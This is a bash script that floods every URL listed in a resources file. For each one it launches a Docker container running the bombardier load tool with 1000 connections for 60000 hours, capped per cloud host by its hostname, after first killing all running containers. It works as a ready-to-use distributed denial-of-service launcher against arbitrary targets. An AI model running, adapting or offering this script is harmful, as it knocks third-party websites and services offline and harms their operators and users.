#!/bin/bash

weak_machines=("ip-172-31-7-101")
weak_machines_target_maximum=12

medium_machines=("ubuntu-s-1vcpu-1gb-fra1-01")
medium_machines_target_maximum=16

machine_name=$(hostnamectl | grep -i 'Static hostname:' | awk '{print $3}')
is_weak=false
is_medium=false 

if [[ " ${weak_machines[*]} " =~ " ${machine_name} " ]]; then
	is_weak=true
	
	echo ' '
	echo "Low computing capabilieties detected"
	echo ' '
fi

if [[ " ${medium_machines[*]} " =~ " ${machine_name} " ]]; then
	is_medium=true
	
	echo ' '
	echo "Medium computing capabilieties detected"
	echo ' '
fi


docker kill $(docker ps -q)

echo ' '
echo 'Docker instances killed.'
echo ' '

IFS=$'\n' read -d '' -r -a lines < resources.txt

counter=0
for i in "${lines[@]}"
do
	echo "$i"
	export URL=$i
	docker run --platform linux/amd64 -d  alpine/bombardier -c 1000 -d 60000h -l $URL 

	if [ "$is_weak" == "true" ] && [ "$counter" == "$weak_machines_target_maximum" ]; then
		break
	fi
	if [ "$is_medium" == "true" ] && [ "$counter" == "$medium_machines_target_maximum" ]; then
		break
	fi
	((counter++))
done
 
echo ' '
echo "${counter} instances started."
echo ' '
echo 'Done'
echo ' '